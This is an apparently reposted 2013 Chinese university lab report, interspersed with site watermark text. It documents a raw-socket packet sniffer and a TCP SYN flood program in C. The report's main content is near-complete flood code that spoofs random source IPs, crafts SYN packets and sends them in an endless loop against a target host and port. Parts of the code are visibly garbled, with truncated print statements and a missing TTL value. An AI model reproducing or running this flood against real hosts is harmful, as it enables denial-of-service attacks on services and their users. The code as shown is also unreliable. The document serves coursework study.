四 川 大 学 计 算 机 学 院、软 件 学 院
实 验 报 告
学号: 姓名:专业:__软件工程__ 班级: 第 12 周 课程名称 信息安全产品开发实践 实验课时 4 实验项目 原始套接字 实验时间 2013.11.29 利用原始套接字实现一个TCP SYS flooding 程序 实验目的 虚拟机 Red Hat Enterprise Linux-VMware Workstation 实验环境 大全
标准文案
由于我们在这次实验中只需要对IP和TCP头部进行修改,所以使用的是网络层原始套接字。 这个实验考验的是对IP和TCP报头结构体的了解,其实在之前的实验我们就已经有所接触,在嗅探器中我们就是把接收到的数据包进行分解,分别先后解封IP头部,再解封TCP头部(越底层的数据越放在前面)。这一部分知识可以参考在老师的demo程序packet.c,那是一个使用链路层套接字的嗅探器,不过在输出ip地址那部分需要改动一下才能正常运行。 下面把修改后的packet展示一下: #include 标准文案 struct ethhdr *eth; struct iphdr *iph; struct tcphdr *tcph; if (0>(sock=socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP)))) { perror(\"socket\"); exit(1); } int num = 1; while (1) { printf(\"=====================================\\n\"); //注意:在这之前我没有调用bind函数,原因是什么呢? n = recvfrom(sock,buffer,2048,0,NULL,NULL); printf(\"number: %d \ printf(\"%d bytes read\\n\ //接收到的数据帧头6字节是目的MAC地址,紧接着6字节是源MAC大全 标准文案 地址。 eth=(struct ethhdr*)buffer; printf(\"Dest MAC addr:%02x:%02x:%02x:%02x:%02x:%02x\\n\1],eth->h_dest[2],eth->h_dest[3],eth->h_dest[4],eth->h_dest[5]); printf(\"Source MAC addr:%02x:%02x:%02x:%02x:%02x:%02x\\n\rce[1],eth->h_source[2],eth->h_source[3],eth->h_source[4],eth->h_source[5]); iph=(struct iphdr*)(buffer+sizeof(struct ethhdr)); //我们只对IPV4且没有选项字段的IPv4报文感兴趣 // if(iph->version ==4 && iph->ihl == 5){ if(iph->version ==4){ char addr_p1[INET_ADDRSTRLEN]; char addr_p2[INET_ADDRSTRLEN]; inet_ntop(AF_INET,&iph->saddr,addr_p1,sizeof(addr_p1)); inet_ntop(AF_INET,&iph->daddr,addr_p2,sizeof(addr_p2)); printf(\"Source host:%s\\n\ printf(\"Dest host:%s\\n\ if(iph->protocol==6) //TCP 大全 标准文案 { tcph=(struct tcphdr*)(buffer+sizeof(struct ether_header)+sizeof(struct ip)); } printf(\"Sourport:%d\\n\ printf(\"Destport :%d\\n\ } } } 这里主要修改的地方是: 1、原代码问题:在输出ip那部分需要利用inet_ntop函数,不然程序运行出问题。 2、加入了TCP头部解封,输出源端口和目的端口,当然还要把相应的头文件加入。 其实只要把上面这程序和这次的syn flood结合起来再做点修大全 标准文案 改就可以做出一个syn端口扫描器。 大全 标准文案 而这次的syn flood程序中做的就是和嗅探器相反的工作:先封装IP头部,再封装TCP头部。 程序的主要流程就是:构造IP头部——>构造TCP头部——>发送数据。 这是一个循环的过程(不停发送syn攻击),里面需要注意: 1、TCP头部中syn要标记为1,其它皆为0。 2、每循环一次,伪装的源IP地址就要改一次,那IP头部的校验和就要重新计算,当底层的报头有所改变(IP头部),那上层的头部——TCP头部的校验和同样要重新计算。 有关检验部分,在运行syn flood程序之前,必须先运行一个服务器程序来作为攻击目标。关于观测端口连接情况,老师提供的是netstat -tn,如果想看得更加方便的话,可以使用netstat -tn (接上) | grep “:888”这样来监视某个端口。 #include 标准文案 #include 标准文案 int s = socket (AF_INET, SOCK_RAW , IPPROTO_TCP); if(s < 0) { printf (\"Error creating socket. Error number : %d . Error message : %s \\n\" , errno , strerror(errno)); exit(0); } else { printf(\"Socket created.\\n\"); } //Datagram to represent the packet char datagram[4096]; //IP header struct iphdr *iph = (struct iphdr *) datagram; //TCP header struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip)); 大全 标准文案 struct sockaddr_in dest; struct pseudo_header psh; char *target = argv[1]; if(argc < 3) { printf(\"Please specify a hostname and a port \\n\"); exit(1); } //get the target ip dest_ip.s_addr = inet_addr( target ); //IP_HDRINCL to tell the kernel that headers are included in the packet int one = 1; const int *val = &one; if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 大全 标准文案 0) { printf (\"Error setting IP_HDRINCL. Error number : %d . Error message : %s \\n\" , errno , strerror(errno)); exit(0); } while(1) { memset (datagram, 0, 4096); /* zero out the buffer */ //Fill in the IP Header iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr); struct in_addr sour_ip; int source_port = 8888; sour_ip.s_addr = random(); 大全 标准文案 iph->id = htons (321); //Id of this packet iph->frag_off = htons(16384); iph->ttl = ; iph->protocol = IPPROTO_TCP; iph->check = 0; //Set to 0 before calculating checksum iph->saddr = sour_ip.s_addr; //Spoof the source ip address iph->daddr = dest_ip.s_addr; iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); //TCP Header tcph->source = htons ( source_port ); tcph->dest = htons (atoi(argv[2])); tcph->seq = htonl(1105024978); tcph->ack_seq = 0; tcph->doff = sizeof(struct tcphdr) / 4; //Size of tcp header tcph->fin=0; tcph->syn=1; 大全 标准文案 tcph->rst=0; tcph->psh=0; tcph->ack=0; tcph->urg=0; tcph->window = htons ( 14600 ); // maximum allowed window size tcph->check = 0; //if you set a checksum to zero, your kernel's IP stack should fill in the correct checksum during transmission tcph->urg_ptr = 0; tcph->check = 0; // if you set a checksum to zero, your kernel's IP stack should fill in the correct checksum during transmission psh.source_address = sour_ip.s_addr; psh.dest_address = dest.sin_addr.s_addr; psh.placeholder = 0; psh.protocol = IPPROTO_TCP; psh.tcp_length = htons( sizeof(struct tcphdr) ); memcpy(&psh.tcp , tcph , sizeof (struct tcphdr)); 大全 标准文案 tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header)); //Send the packet if ( sendto (s, datagram , sizeof(struct iphdr) + sizeof(struct tcphdr) , 0 , (struct sockaddr *) &dest, sizeof (dest)) < 0) { printf (\"Error sending syn packet. Error number : %d . Error message : %s \\n\" , errno , strerror(errno)); exit(0); } else { char addr_p[INET_ADDRSTRLEN]; inet_ntop(AF_INET,&sour_ip,addr_p,sizeof(addr_p)); dest.sin_family = AF_INET; dest.sin_addr.s_addr = dest_ip.s_addr; printf(\"random IP %s have sended the package.\\n\ } 大全 标准文案 } return 0; } /* Checksums - IP and TCP */ unsigned short csum(unsigned short *ptr,int nbytes) { register long sum; unsigned short oddbyte; register short answer; sum=0; while(nbytes>1) { sum+=*ptr++; nbytes-=2; } if(nbytes==1) { oddbyte=0; 大全 标准文案 *((u_char*)&oddbyte)=*(u_char*)ptr; sum+=oddbyte; } sum = (sum>>16)+(sum & 0xffff); sum = sum + (sum>>16); answer=(short)~sum; return(answer); } 下面让我们看一下运行效果: 运行syn flood程序,使用不同的伪装IP攻击: 大全 标准文案 然后检验结果: 数据记录 和计算 结 论 (结 果) 通过 大全 标准文案 这次实验虽然不难,但是比较重要,如果只是单纯得制作普通的网络程序的话,一般的socket编程足以完成,但是如果想深入探究网络服务本身,小 结 想利用rfc的规则制造底层的扫描器、嗅探器、防火墙、网络攻击等等,学习网络底层的编程知识很重要。 指导老师 评 议 成绩评定: 指导教师签名: 大全 因篇幅问题不能全部显示,请点此查看更多更全内容
Copyright © 2019- xiaozhentang.com 版权所有 湘ICP备2023022495号-4
违法及侵权请联系:TEL:199 1889 7713 E-MAIL:2724546146@qq.com
本站由北京市万商天勤律师事务所王兴未律师提供法律服务